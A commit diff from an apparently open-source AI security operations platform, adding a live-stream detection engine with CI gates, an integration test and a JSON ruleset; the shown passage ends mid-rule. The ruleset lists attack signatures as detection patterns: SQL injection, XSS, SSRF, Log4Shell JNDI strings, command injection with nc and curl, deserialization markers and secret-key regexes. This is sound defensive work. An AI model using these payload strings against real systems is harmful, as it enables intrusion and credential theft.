Skip to content

armgit / AiSOC

Public Imported from GitHub
0

Open-source AI Security Operations Center: alert fusion, LLM-agent triage, MITRE ATT&CK investigation, and a replayable decision ledger for every agent step. Self-hostable, runs with no API keys, MIT licensed. Ships an MCP server for Claude, Cursor and Continue.

feat(phase-A2): evaluate the executable detection corpus on the live stream (#447)

Beenu Aroraeb11b84617ae
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 360d6b9ae..858f89af3 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -371,7 +371,9 @@ jobs:
# fused alerts to the Postgres alert store.
# clickhouse-driver: required since Phase A1 — the fusion LakeWriter
# archives normalized events into the ClickHouse event lake.
- run: pip install --quiet pydantic pydantic-settings pytest pytest-asyncio structlog redis aioredis fastapi httpx aiokafka asyncpg clickhouse-driver
+ # pyyaml: required since Phase A2 — the detection-matcher parity test
+ # loads the canonical scripts/generate_detections.py (imports yaml).
+ run: pip install --quiet pydantic pydantic-settings pytest pytest-asyncio structlog redis aioredis fastapi httpx aiokafka asyncpg clickhouse-driver pyyaml
- name: Install pytest-cov (Phase 2.2 coverage gate)
run: pip install --quiet 'pytest-cov>=4,<7'
# Phase 2.2 — every wave-1 service now has a measured coverage
diff --git a/.github/workflows/integration.yml b/.github/workflows/integration.yml
index 88f3a5923..9308feae8 100644
--- a/.github/workflows/integration.yml
+++ b/.github/workflows/integration.yml
@@ -133,6 +133,14 @@ jobs:
|| { echo "::error::ClickHouse lake was never populated from the raw-events stream"; \
docker compose logs --tail=80 --no-color fusion || true; exit 1; }
+ # ── Phase A2: the executable detection corpus fires on the live stream ─
+ # Post an event whose recovered raw fields match a native detection rule
+ # (aws-root-account-login) and assert the fusion detection engine turns
+ # it into an alert — proving the 800+ rule corpus runs in production, not
+ # just in CI fixture-replay.
+ - name: Assert the detection engine fires on the live stream
+ run: python3 scripts/integration/spine_test.py --detection --timeout 180
+
# ── Chaos: kill the fusion consumer, produce, restart, assert ────────
# The event is produced while the consumer is down; on restart the
# consumer group must resume from its committed offset and process it.
diff --git a/.github/workflows/validate-detections.yml b/.github/workflows/validate-detections.yml
index b87c25842..ccd82d0da 100644
--- a/.github/workflows/validate-detections.yml
+++ b/.github/workflows/validate-detections.yml
@@ -40,6 +40,13 @@ jobs:
# diverge from what the engine actually runs.
run: python3 scripts/detection_truth_table.py --check
+ - name: Verify exported detection ruleset is current (Phase A2)
+ # The fusion live-detection engine loads
+ # services/fusion/app/data/detection_ruleset.json (native match_when
+ # specs). Fails if the specs changed without re-exporting, so the live
+ # worker can't silently drift from the committed corpus.
+ run: python3 scripts/export_detection_ruleset.py --check
+
- name: Count rules by severity
if: always()
run: |
diff --git a/CHANGELOG.md b/CHANGELOG.md
index f1d3ae076..c2369b197 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -9,6 +9,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
### Added
+- **Phase A2 — the executable detection corpus now fires on the live event stream.** The reality audit's second SIEM gap: ~939 executable rules existed but only ran in CI fixture-replay — nothing evaluated them against ingested events, so any telemetry that wasn't a vendor-asserted finding (the promoter's job) never became an alert. New `services/fusion/app/services/detection_engine.py` loads the native corpus exported to `app/data/detection_ruleset.json` (817 rules, by `scripts/export_detection_ruleset.py`) and evaluates each ingested event's connector-normalized fields — recovered from `ocsf_event["raw_data"]`, the shape the specs were authored against — via a **vendored, parity-gated** copy of the canonical `match_when` matcher (`app/services/detection_matcher.py`; `test_detection_matcher_parity.py` asserts byte-for-behaviour agreement with `scripts/generate_detections.py` over every committed fixture). Each firing rule becomes a `RawAlert` routed through the normal fusion dedup/correlate/persist pipeline. Product routing is fuzzy (correctness-first: unknown product ⇒ evaluate all). Gates: `integration.yml` posts an event matching `aws-root-account-login` and asserts the alert appears; `validate-detections.yml` drift-checks the exported ruleset; 16 fusion unit tests. Claim-to-gate matrix adds a GATED row "Detection rules fire on the live event stream" (17 GATED / 11 PARTIAL / 1 NO GATE).
- **Phase A1 — the ClickHouse event lake is now populated from the live stream.** The reality audit's central SIEM gap: the `aisoc.raw_events` lake table and its `/api/v1/lake/sql` read API existed with **no writer**, so every hunt/query ran against an empty warehouse. New `services/fusion/app/services/lake_writer.py` (`LakeWriter`) archives every normalized OCSF event from the `aisoc.raw_events` Kafka topic into ClickHouse — mapping the OCSF envelope to the lake columns (IPv4→IPv4-mapped-IPv6 coercion, `DateTime64` binding, MITRE/IOC extraction), batched by size **or** age, and **fail-soft** (a ClickHouse outage drops the batch and logs, never crashes the consumer). Archival is independent of promotion (a non-promoted Medium event is still queryable), and a background periodic-flush ticker guarantees a low-traffic batch is never stranded. Wired into the fusion consumer + lifespan; `docker-compose.yml` fusion service gets ClickHouse env + `depends_on`. `integration.yml` gains a Phase A1 gate asserting `SELECT count() FROM aisoc.raw_events > 0` after the spine ingests, against a live ClickHouse container (verified locally: a real INSERT round-trips). Claim-to-gate matrix adds a GATED row "Ingested events land in the queryable ClickHouse lake" (16 GATED / 11 PARTIAL / 1 NO GATE). At-least-once with a deterministic `event_id` (MergeTree does not dedup; the gate asserts queryability, not exact-once).
### Security
diff --git a/docs/audit/CLAIM_TO_GATE_MATRIX.md b/docs/audit/CLAIM_TO_GATE_MATRIX.md
index b663e8242..ca1adf9b8 100644
--- a/docs/audit/CLAIM_TO_GATE_MATRIX.md
+++ b/docs/audit/CLAIM_TO_GATE_MATRIX.md
@@ -36,12 +36,13 @@ Statuses: `GATED` (a CI job fails when the claim stops being true) · `PARTIAL`
| Insecure defaults hard-fail in production | (implied by self-host) | `ci.yml` api tests (`test_security_defaults.py::test_enforce_*`; `enforce_secure_defaults` raises at boot in production) | GATED | - |
| OpenAPI stability for 3 SDKs + MCP | (implied by SDKs) | `check-openapi.yml` (drift) + `openapi-breaking.yml` (`scripts/openapi_diff.py` — PR spec vs base fails on removed endpoint/schema/field, type change, tightened request, or dropped enum value) | GATED | - |
| Ingested events land in the queryable ClickHouse lake | README (SIEM / lake) | `integration.yml :: spine` (Phase A1 — after the spine ingests, asserts `SELECT count() FROM aisoc.raw_events > 0` against the live ClickHouse container; `services/fusion` `LakeWriter` archives every normalized event) | GATED | - |
+| Detection rules fire on the live event stream (not just CI fixtures) | README L170 (detection engine) | `integration.yml :: spine` (Phase A2 — posts an event matching the native `aws-root-account-login` rule, asserts the fusion `DetectionEngine` produces the alert) + `validate-detections.yml` (exported-ruleset drift `--check`) + fusion `test_detection_engine.py` / `test_detection_matcher_parity.py` | GATED | - |
## Summary
-- GATED: 16
+- GATED: 17
- PARTIAL: 11
-- NO GATE: 1 (Phase 2 moved insecure-defaults-hard-fail to GATED and secret/IaC/container scanning to PARTIAL; the Phase 2 continuation moved signed/attested releases to GATED; Phase 3.4 moved cross-store isolation to GATED; Phase 4 moved the DAC candidate-rule gate and imported-count honesty gate to GATED; Phase 10 moved connector "live Test connection" off NO GATE; Phase 11 moved OpenAPI breaking-change semantics to GATED; Phase A1 gated the ClickHouse lake being populated. The **last** NO GATE row — wet-eval live-agent scoreboard tables — closes in Phase 4c, which needs a budgeted live-agent run)
+- NO GATE: 1 (Phase 2 moved insecure-defaults-hard-fail to GATED and secret/IaC/container scanning to PARTIAL; the Phase 2 continuation moved signed/attested releases to GATED; Phase 3.4 moved cross-store isolation to GATED; Phase 4 moved the DAC candidate-rule gate and imported-count honesty gate to GATED; Phase 10 moved connector "live Test connection" off NO GATE; Phase 11 moved OpenAPI breaking-change semantics to GATED; Phase A1 gated the ClickHouse lake being populated; Phase A2 gated live-stream detection. The **last** NO GATE row — wet-eval live-agent scoreboard tables — closes in Phase 4c, which needs a budgeted live-agent run)
The ratchet is enforced by `scripts/check_claim_gate_matrix.py` (wired into `security.yml`): the NO GATE count may only decrease.
diff --git a/scripts/export_detection_ruleset.py b/scripts/export_detection_ruleset.py
new file mode 100644
index 000000000..53681d50a
--- /dev/null
+++ b/scripts/export_detection_ruleset.py
@@ -0,0 +1,101 @@
+#!/usr/bin/env python3
+"""Export the executable native detection corpus for the live worker (Phase A2).
+
+The native detection specs (``match_when`` + metadata) live in
+``scripts/detection_specs*.py`` at the repo root. Services only ship their
+``app/`` subtree, so the fusion live-detection engine cannot import those specs
+at runtime. This script serialises every executable native spec into a single
+JSON artifact — ``services/fusion/app/data/detection_ruleset.json`` — that the
+engine loads on startup.
+
+``--check`` drift-gates the committed artifact against the specs (the same
+pattern as the connector-count and detection-truth-table gates), so a spec
+change that isn't re-exported fails CI.
+
+Usage:
+ python3 scripts/export_detection_ruleset.py # regenerate
+ python3 scripts/export_detection_ruleset.py --check # fail on drift
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import sys
+from pathlib import Path
+
+ROOT = Path(__file__).resolve().parent.parent
+sys.path.insert(0, str(ROOT / "scripts"))
+
+OUT = ROOT / "services" / "fusion" / "app" / "data" / "detection_ruleset.json"
+
+
+def _build() -> list[dict]:
+ from detection_specs_index import all_specs # noqa: PLC0415
+
+ rules: list[dict] = []
+ seen: dict[str, int] = {}
+ for category, spec in all_specs():
+ match_when = spec.get("match_when")
+ if not match_when:
+ continue
+ slug = spec["slug"]
+ # Rule id mirrors generate_detections.py: det-{category}-{NNN}.
+ seen[category] = seen.get(category, 0) + 1
+ rule_id = f"det-{category}-{seen[category]:03d}"
+ log_source = spec.get("log_source") or {}
+ rules.append(
+ {
+ "id": rule_id,
+ "slug": slug,
+ "name": spec["name"],
+ "severity": spec["severity"],
+ "category": category,
+ "product": log_source.get("product", ""),
+ "service": log_source.get("service", ""),
+ "mitre": [str(m).upper() for m in spec.get("mitre", [])],
+ "match_when": match_when,
+ }
+ )
+ return rules
+
+
+def _serialise(rules: list[dict]) -> str:
+ return json.dumps(
+ {"version": 1, "count": len(rules), "rules": rules},
+ indent=2,
+ sort_keys=True,
+ ensure_ascii=False,
+ )
+
+
+def main() -> int:
+ parser = argparse.ArgumentParser(description=__doc__)
+ parser.add_argument("--check", action="store_true")
+ args = parser.parse_args()
+
+ rules = _build()
+ payload = _serialise(rules)
+
+ if args.check:
+ if not OUT.exists():
+ print(f"ERROR: {OUT.relative_to(ROOT)} missing — run scripts/export_detection_ruleset.py", file=sys.stderr)
+ return 1
+ if OUT.read_text(encoding="utf-8").strip() != payload.strip():
+ print(
+ f"ERROR: {OUT.relative_to(ROOT)} is stale. Detection specs changed but the exported "
+ "ruleset was not regenerated. Run: python3 scripts/export_detection_ruleset.py",
+ file=sys.stderr,
+ )
+ return 1
+ print(f"OK: detection ruleset current ({len(rules)} executable rules)")
+ return 0
+
+ OUT.parent.mkdir(parents=True, exist_ok=True)
+ OUT.write_text(payload + "\n", encoding="utf-8")
+ print(f"wrote {OUT.relative_to(ROOT)} — {len(rules)} executable rules")
+ return 0
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/scripts/integration/spine_test.py b/scripts/integration/spine_test.py
index 36bc64d5b..81440fd19 100644
--- a/scripts/integration/spine_test.py
+++ b/scripts/integration/spine_test.py
@@ -117,6 +117,41 @@ async def post_event(client: httpx.AsyncClient, title: str) -> None:
log(f"ingest accepted event title={title!r}")
+# Phase A2 — an event whose recovered raw fields match the native
+# `aws-root-account-login` detection rule. The rule (product `aws`) fires in
+# the fusion detection engine and produces an alert titled below, proving the
+# executable corpus runs against the live stream (not just CI fixtures).
+DETECTION_ALERT_TITLE = "AWS Root Account Console Login"
+
+
+async def post_detection_event(client: httpx.AsyncClient) -> None:
+ payload = {
+ "connector_id": "spine-detection-test",
+ "connector_type": "aws_cloudtrail",
+ "source_format": "json",
+ "events": [
+ {
+ "event_name": "ConsoleLogin",
+ "user_type": "Root",
+ "error_code": None,
+ "src_ip": "203.0.113.7",
+ "severity": "critical",
+ }
+ ],
+ }
+ r = await client.post(
+ f"{INGEST}/v1/ingest/batch",
+ json=payload,
+ headers={"X-Tenant-ID": TENANT},
+ timeout=10,
+ )
+ r.raise_for_status()
+ body = r.json()
+ if body.get("accepted") != 1:
+ raise SystemExit(f"ingest rejected the detection event: {body}")
+ log("ingest accepted detection-triggering event (aws root login)")
+
+
async def count_alerts_titled(client: httpx.AsyncClient, title: str) -> int:
r = await client.get(f"{API}/api/v1/alerts", params={"page_size": 200}, timeout=10)
r.raise_for_status()
@@ -240,8 +275,22 @@ async def main() -> None:
parser.add_argument("--await-alert", action="store_true", help="only await the alert row")
parser.add_argument("--title", help="event title for --post-event / --await-alert")
parser.add_argument("--timeout", type=int, default=120)
+ parser.add_argument(
+ "--detection",
+ action="store_true",
+ help="Phase A2: post a detection-rule-triggering event and await the resulting alert",
+ )
args = parser.parse_args()
+ if args.detection:
+ async with httpx.AsyncClient() as client:
+ await wait_healthy(client)
+ await asyncio.sleep(5)
+ await post_detection_event(client)
+ await await_alert_row(client, DETECTION_ALERT_TITLE, args.timeout or 180, repost=False)
+ log("DETECTION ENGINE FIRED (live-stream rule match produced an alert)")
+ return
+
if args.post_event or args.await_alert:
if not args.title:
parser.error("--title is required with --post-event / --await-alert")
diff --git a/services/fusion/app/core/config.py b/services/fusion/app/core/config.py
index 7e93d45a1..309e2a940 100644
--- a/services/fusion/app/core/config.py
+++ b/services/fusion/app/core/config.py
@@ -42,6 +42,11 @@ class Settings(BaseSettings):
lake_batch_size: int = Field(default=100, alias="AISOC_LAKE_BATCH_SIZE")
lake_batch_max_age_seconds: float = Field(default=2.0, alias="AISOC_LAKE_BATCH_MAX_AGE_SECONDS")
+ # Phase A2 — evaluate the executable native detection corpus against the
+ # live event stream (app/services/detection_engine.py). Each firing rule
+ # becomes a RawAlert routed through fusion.
+ detection_engine_enabled: bool = Field(default=True, alias="AISOC_DETECTION_ENGINE_ENABLED")
+
# Redis
redis_url: str = Field(default="redis://localhost:6379/2", alias="REDIS_URL")
dedup_window_seconds: int = Field(default=300, alias="DEDUP_WINDOW_SECONDS")
diff --git a/services/fusion/app/data/detection_ruleset.json b/services/fusion/app/data/detection_ruleset.json
new file mode 100644
index 000000000..a8ff5c1d2
--- /dev/null
+++ b/services/fusion/app/data/detection_ruleset.json
@@ -0,0 +1,14629 @@
+{
+ "count": 817,
+ "rules": [
+ {
+ "category": "application",
+ "id": "det-application-001",
+ "match_when": {
+ "request_uri_pattern_match_any": [
+ "UNION SELECT",
+ "OR '1'='1",
+ "; DROP TABLE",
+ "1=1--",
+ "sleep\\(",
+ "benchmark\\("
+ ]
+ },
+ "mitre": [
+ "T1190"
+ ],
+ "name": "SQL Injection Attempt in HTTP Query",
+ "product": "waf",
+ "service": "http",
+ "severity": "high",
+ "slug": "sql-injection-attempt"
+ },
+ {
+ "category": "application",
+ "id": "det-application-002",
+ "match_when": {
+ "request_uri_pattern_match_any": [
+ "<script>",
+ "javascript:",
+ "onerror=",
+ "<svg/onload=",
+ "document.cookie"
+ ]
+ },
+ "mitre": [
+ "T1190"
+ ],
+ "name": "Cross-Site Scripting Attempt",
+ "product": "waf",
+ "service": "http",
+ "severity": "high",
+ "slug": "xss-attempt"
+ },
+ {
+ "category": "application",
+ "id": "det-application-003",
+ "match_when": {
+ "request_uri_pattern_match_any": [
+ "\\.\\./",
+ "\\.\\.\\\\",
+ "%2e%2e%2f",
+ "%2e%2e/",
+ "\\.\\.%2f"
+ ]
+ },
+ "mitre": [
+ "T1083"
+ ],
+ "name": "Path Traversal Attempt in HTTP Request",
+ "product": "waf",
+ "service": "http",
+ "severity": "high",
+ "slug": "path-traversal"
+ },
+ {
+ "category": "application",
+ "id": "det-application-004",
+ "match_when": {
+ "request_uri_pattern_match_any": [
+ "169\\.254\\.169\\.254",
+ "metadata\\.google\\.internal",
+ "metadata\\.azure\\.com",
+ "127\\.0\\.0\\.1:80"
+ ]
+ },
+ "mitre": [
+ "T1190",
+ "T1212"
+ ],
+ "name": "SSRF Attempt to Cloud Metadata Endpoint",
+ "product": "waf",
+ "service": "http",
+ "severity": "critical",
+ "slug": "ssrf-attempt"
+ },
+ {
+ "category": "application",
+ "id": "det-application-005",
+ "match_when": {
+ "header_value_pattern_match_any": [
+ "\\$\\{jndi:ldap:",
+ "\\$\\{jndi:dns:",
+ "\\$\\{jndi:rmi:"
+ ]
+ },
+ "mitre": [
+ "T1190"
+ ],
+ "name": "Log4Shell JNDI Pattern in HTTP Header",
+ "product": "waf",
+ "service": "http",
+ "severity": "critical",
+ "slug": "log4shell"
+ },
+ {
+ "category": "application",
+ "id": "det-application-006",
+ "match_when": {
+ "file_extension_in": [
+ ".jsp",
+ ".php",
+ ".asp",
+ ".aspx"
+ ],
+ "method_in": [
+ "POST",
+ "PUT"
+ ],
+ "request_uri_contains_any": [
+ "/upload",
+ "/wp-content/",
+ "/cgi-bin/"
+ ]
+ },
+ "mitre": [
+ "T1505.003"
+ ],
+ "name": "Webshell File Upload Pattern",
+ "product": "waf",
+ "service": "http",
+ "severity": "critical",
+ "slug": "webshell-upload"
+ },
+ {
+ "category": "application",
+ "id": "det-application-007",
+ "match_when": {
+ "request_uri_pattern_match_any": [
+ ";\\s?cat /etc/passwd",
+ "\\| nc ",
+ "&& curl ",
+ "`id`",
+ "\\$\\(whoami\\)"
+ ]
+ },
+ "mitre": [
+ "T1059"
+ ],
+ "name": "OS Command Injection in HTTP Parameter",
+ "product": "waf",
+ "service": "http",
+ "severity": "critical",
+ "slug": "command-injection"
+ },
+ {
+ "category": "application",
+ "id": "det-application-008",
+ "match_when": {
+ "method": "POST",
+ "request_count_per_src_gt": 200,
+ "request_uri_endswith": "/login",
+ "time_window_minutes_lt": 5
+ },
+ "mitre": [
+ "T1110"
+ ],
+ "name": "Rate Limit Burst on Authentication Endpoint",
+ "product": "waf",
+ "service": "http",
+ "severity": "medium",
+ "slug": "rate-limit-burst"
+ },
+ {
+ "category": "application",
+ "id": "det-application-009",
+ "match_when": {
+ "request_body_contains_any": [
+ "__schema",
+ "__typename"
+ ],
+ "request_uri_endswith": "/graphql"
+ },
+ "mitre": [
+ "T1592"
+ ],
+ "name": "GraphQL Introspection Query in Production",
+ "product": "waf",
+ "service": "http",
+ "severity": "low",
+ "slug": "graphql-introspection"
+ },
+ {
+ "category": "application",
+ "id": "det-application-010",
+ "match_when": {
+ "request_body_pattern_match_any": [
+ "AKIA[0-9A-Z]{16}",
+ "ghp_[A-Za-z0-9]{36}",
+ "AIza[0-9A-Za-z\\-_]{35}",
+ "xox[baprs]-"
+ ]
+ },
+ "mitre": [
+ "T1552.001"
+ ],
+ "name": "Hard-Coded API Key Pattern Leaked in HTTP Request",
+ "product": "waf",
+ "service": "http",
+ "severity": "critical",
+ "slug": "api-key-leak-in-request"
+ },
+ {
+ "category": "application",
+ "id": "det-application-011",
+ "match_when": {
+ "user_agent_contains_any": [
+ "sqlmap",
+ "nikto",
+ "wpscan",
+ "fuzzfaster",
+ "ffuf"
+ ]
+ },
+ "mitre": [
+ "T1595.002"
+ ],
+ "name": "Known-Bad Scanner User-Agent",
+ "product": "waf",
+ "service": "http",
+ "severity": "low",
+ "slug": "user-agent-known-tool"
+ },
+ {
+ "category": "application",
+ "id": "det-application-012",
+ "match_when": {
+ "authorization_header_jwt_alg": "none"
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "JWT With alg=none in Authorization Header",
+ "product": "waf",
+ "service": "http",
+ "severity": "critical",
+ "slug": "jwt-none-alg"
+ },
+ {
+ "category": "application",
+ "id": "det-application-013",
+ "match_when": {
+ "request_uri_contains_any": [
+ "?next=http",
+ "?redirect=http",
+ "?url=http"
+ ]
+ },
+ "mitre": [
+ "T1204.001"
+ ],
+ "name": "Open Redirect Pattern in URL Parameter",
+ "product": "waf",
+ "service": "http",
+ "severity": "medium",
+ "slug": "open-redirect"
+ },
+ {
+ "category": "application",
+ "id": "det-application-014",
+ "match_when": {
+ "package_name_in_internal_namespace": true,
+ "package_source_in": [
+ "public-npm",
+ "public-pypi",
+ "public-rubygems"
+ ]
+ },
+ "mitre": [
+ "T1195.002"
+ ],
+ "name": "Build Pipeline Fetched Public Package With Internal Name",
+ "product": "build",
+ "service": "package",
+ "severity": "high",
+ "slug": "dependency-confusion-fetch"
+ },
+ {
+ "category": "application",
+ "id": "det-application-015",
+ "match_when": {
+ "log_line_pattern_match_any": [
+ "AKIA[0-9A-Z]{16}",
+ "ghp_[A-Za-z0-9]{36}",
+ "-----BEGIN PRIVATE KEY-----"
+ ]
+ },
+ "mitre": [
+ "T1552.001"
+ ],
+ "name": "Secret-Pattern Match in CI Job Log",
+ "product": "ci",
+ "service": "logs",
+ "severity": "high",
+ "slug": "ci-secret-printed-to-log"
+ },
+ {
+ "category": "application",
+ "id": "det-application-016",
+ "match_when": {
+ "action": "git.push",
+ "actor_role_not_in": [
+ "admin",
+ "release"
+ ],
+ "ref_in_protected_branches": true
+ },
+ "mitre": [
+ "T1195.002"
+ ],
+ "name": "Push to Protected Branch by Non-Admin",
+ "product": "github",
+ "service": "audit",
+ "severity": "high",
+ "slug": "github-protected-branch-bypass"
+ },
+ {
+ "category": "application",
+ "id": "det-application-017",
+ "match_when": {
+ "action": "repo.visibility_change",
+ "visibility": "public"
+ },
+ "mitre": [
+ "T1530"
+ ],
+ "name": "Internal Repository Made Public",
+ "product": "github",
+ "service": "audit",
+ "severity": "critical",
+ "slug": "github-public-repo-flip"
+ },
+ {
+ "category": "application",
+ "id": "det-application-018",
+ "match_when": {
+ "image_registry_in_allowlist": false,
+ "object_resource": "pods",
+ "verb": "create"
+ },
+ "mitre": [
+ "T1525"
+ ],
+ "name": "Kubernetes Pulled Image From Untrusted Registry",
+ "product": "kubernetes",
+ "service": "audit",
+ "severity": "high",
+ "slug": "container-image-pulled-untrusted-registry"
+ },
+ {
+ "category": "application",
+ "id": "det-application-019",
+ "match_when": {
+ "distinct_object_ids_per_src_gt": 1000,
+ "time_window_minutes_lt": 5
+ },
+ "mitre": [
+ "T1592"
+ ],
+ "name": "Sequential ID Enumeration Pattern Against API",
+ "product": "waf",
+ "service": "http",
+ "severity": "high",
+ "slug": "api-mass-enumeration-ids"
+ },
+ {
+ "category": "application",
+ "id": "det-application-020",
+ "match_when": {
+ "event_type": "object.read",
+ "object_tenant_id_eq_caller_tenant_id": false
+ },
+ "mitre": [
+ "T1212"
+ ],
+ "name": "API Returned Object Outside Caller's Tenant",
+ "product": "app",
+ "service": "audit",
+ "severity": "critical",
+ "slug": "api-permission-bypass-idor"
+ },
+ {
+ "category": "application",
+ "id": "det-application-021",
+ "match_when": {
+ "method": "POST",
+ "origin_present": false,
+ "referer_present": false,
+ "request_uri_in_sensitive_paths": true
+ },
+ "mitre": [
+ "T1190"
+ ],
+ "name": "POST Without Referer/Origin to Sensitive Endpoint",
+ "product": "waf",
+ "service": "http",
+ "severity": "medium",
+ "slug": "csrf-on-sensitive-mutation"
+ },
+ {
+ "category": "application",
+ "id": "det-application-022",
+ "match_when": {
+ "request_body_pattern_match_any": [
+ "rO0AB",
+ "AAEAAAD",
+ "_\\$\\$ND_FUNC\\$\\$_"
+ ]
+ },
+ "mitre": [
+ "T1190"
+ ],
+ "name": "Java/Python Deserialization Pattern",
+ "product": "waf",
+ "service": "http",
+ "severity": "critical",
+ "slug": "deserialization-attack"
+ },
+ {
+ "category": "application",
+ "id": "det-application-023",
+ "match_when": {
+ "event_type": "runners.register",
+ "runner_scope": "shared"
+ },
+ "mitre": [
+ "T1525"
+ ],
+ "name": "GitLab Runner Registered as Shared Without Approval",
+ "product": "gitlab",
+ "service": "audit",
+ "severity": "high",
+ "slug": "gitlab-runner-shared-tag"
+ },
+ {
+ "category": "application",
+ "id": "det-application-024",
+ "match_when": {
+ "event_type": "drive.acl.change",
+ "file_count_per_user_gt": 10,
+ "share_visibility": "public",
+ "time_window_minutes_lt": 30
+ },
+ "mitre": [
+ "T1530"
+ ],
+ "name": "SaaS File Mass Public-Share by Single User",
+ "product": "google-workspace",
+ "service": "drive",
+ "severity": "high",
+ "slug": "saas-mass-share-public"
+ },
+ {
+ "category": "application",
+ "id": "det-application-025",
+ "match_when": {
+ "channel_visibility": "public",
+ "event_type": "message.posted",
+ "message_text_pattern_match_any": [
+ "xoxp-",
+ "xoxb-",
+ "xoxa-"
+ ]
+ },
+ "mitre": [
+ "T1552.004"
+ ],
+ "name": "Slack Token Posted in Public Channel",
+ "product": "slack",
+ "service": "audit",
+ "severity": "high",
+ "slug": "slack-token-exposed"
+ },
+ {
+ "category": "application",
+ "id": "det-application-026",
+ "match_when": {
+ "event_type": "marketplace.app.installed",
+ "scope_set_contains_any": [
+ "mail.full",
+ "drive.full",
+ "directory.readwrite"
+ ]
+ },
+ "mitre": [
+ "T1098.001"
+ ],
+ "name": "Marketplace App Installed With Broad Scopes",
+ "product": "google-workspace",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "saas-app-installed"
+ },
+ {
+ "category": "application",
+ "id": "det-application-027",
+ "match_when": {
+ "event_type": "FileRead",
+ "file_path_endswith_any": [
+ "Login Data",
+ "logins.json",
+ "key3.db",
+ "key4.db"
+ ]
+ },
+ "mitre": [
+ "T1555.003"
+ ],
+ "name": "Process Reading Browser Login Database",
+ "product": "edr",
+ "service": "file-read",
+ "severity": "high",
+ "slug": "browser-credential-grabber"
+ },
+ {
+ "category": "application",
+ "id": "det-application-028",
+ "match_when": {
+ "dst_ip_class": "internet",
+ "dst_port": 3389,
+ "src_role": "workstation"
+ },
+ "mitre": [
+ "T1572"
+ ],
+ "name": "Outbound RDP Connection Initiated From Workstation to Internet",
+ "product": "ndr",
+ "service": "flow",
+ "severity": "high",
+ "slug": "rdp-tickling"
+ },
+ {
+ "category": "application",
+ "id": "det-application-029",
+ "match_when": {
+ "url_brand_impersonation_in": [
+ "microsoft",
+ "office365",
+ "okta",
+ "google-login"
+ ]
+ },
+ "mitre": [
+ "T1566.002"
+ ],
+ "name": "Microsoft 365 Brand Impersonation Phishing URL",
+ "product": "email",
+ "service": "messages",
+ "severity": "high",
+ "slug": "phishing-ms365-impersonation"
+ },
+ {
+ "category": "application",
+ "id": "det-application-030",
+ "match_when": {
+ "attachment_filename_match": ".+\\.(pdf|doc|xls|jpg|png)\\.(exe|js|vbs|scr|jar)$"
+ },
+ "mitre": [
+ "T1566.001"
+ ],
+ "name": "Email Attachment with Double Extension Pattern",
+ "product": "email",
+ "service": "messages",
+ "severity": "medium",
+ "slug": "phishing-attachment-double-extension"
+ },
+ {
+ "category": "application",
+ "id": "det-application-031",
+ "match_when": {
+ "body_contains_any": [
+ "{{7*7}}",
+ "${7*7}",
+ "{%7*7%}",
+ "<%= 7*7 %>"
+ ],
+ "event_type": "http_request"
+ },
+ "mitre": [
+ "T1190"
+ ],
+ "name": "Server-Side Template Injection Pattern In Request",
+ "product": "waf",
+ "service": "http",
+ "severity": "high",
+ "slug": "app-ssti-pattern"
+ },
+ {
+ "category": "application",
+ "id": "det-application-032",
+ "match_when": {
+ "body_contains_any": [
+ "<!ENTITY",
+ "SYSTEM \"file://",
+ "SYSTEM \"http://"
+ ],
+ "event_type": "http_request"
+ },
+ "mitre": [
+ "T1190"
+ ],
+ "name": "XML External Entity Reference In Request Body",
+ "product": "waf",
+ "service": "http",
+ "severity": "high",
+ "slug": "app-xxe-pattern"
+ },
+ {
+ "category": "application",
+ "id": "det-application-033",
+ "match_when": {
+ "body_contains_any": [
+ "$ne\":",
+ "$gt\":",
+ "$where\":",
+ "$regex\":"
+ ],
+ "event_type": "http_request"
+ },
+ "mitre": [
+ "T1190"
+ ],
+ "name": "NoSQL Injection Operator In Request",
+ "product": "waf",
+ "service": "http",
+ "severity": "high",
+ "slug": "app-nosql-injection"
+ },
+ {
+ "category": "application",
+ "id": "det-application-034",
+ "match_when": {
+ "body_contains": "__schema",
+ "environment": "prod",
+ "event_type": "http_request",
+ "uri": "/graphql"
+ },
+ "mitre": [
+ "T1213"
+ ],
+ "name": "GraphQL Introspection Query Against Production",
+ "product": "api-gateway",
+ "service": "http",
+ "severity": "medium",
+ "slug": "app-graphql-introspection"
+ },
+ {
+ "category": "application",
+ "id": "det-application-035",
+ "match_when": {
+ "event_type": "http_request",
+ "query_depth_gt": 10,
+ "uri": "/graphql"
+ },
+ "mitre": [
+ "T1499"
+ ],
+ "name": "GraphQL Query With Excessive Recursion Depth",
+ "product": "api-gateway",
+ "service": "http",
+ "severity": "medium",
+ "slug": "app-graphql-deep-recursion"
+ },
+ {
+ "category": "application",
+ "id": "det-application-036",
+ "match_when": {
+ "any_header_value_contains_any": [
+ "${jndi:ldap://",
+ "${jndi:rmi://",
+ "${jndi:dns://"
+ ],
+ "event_type": "http_request"
+ },
+ "mitre": [
+ "T1190"
+ ],
+ "name": "JNDI LDAP Lookup Pattern (Log4Shell-Style)",
+ "product": "waf",
+ "service": "http",
+ "severity": "critical",
+ "slug": "app-jndi-log4shell"
+ },
+ {
+ "category": "application",
+ "id": "det-application-037",
+ "match_when": {
+ "body_contains_any": [
+ "class.module.classloader",
+ "class.classLoader"
+ ],
+ "event_type": "http_request"
+ },
+ "mitre": [
+ "T1190"
+ ],
+ "name": "Spring4Shell Class Loader Manipulation Pattern",
+ "product": "waf",
+ "service": "http",
+ "severity": "critical",
+ "slug": "app-spring4shell-pattern"
+ },
+ {
+ "category": "application",
+ "id": "det-application-038",
+ "match_when": {
+ "body_contains_any": [
+ "rO0AB",
+ "AAEAAAD/////AQAAAAAAAAAM",
+ "TypeObject"
+ ],
+ "event_type": "http_request"
+ },
+ "mitre": [
+ "T1059"
+ ],
+ "name": "Java/.NET Deserialization Marker In Body",
+ "product": "waf",
+ "service": "http",
+ "severity": "critical",
+ "slug": "app-deserialization-rce-marker"
+ },
+ {
+ "category": "application",
+ "id": "det-application-039",
+ "match_when": {
+ "event_type": "session_validate",
+ "hmac_valid": false
+ },
+ "mitre": [
+ "T1185"
+ ],
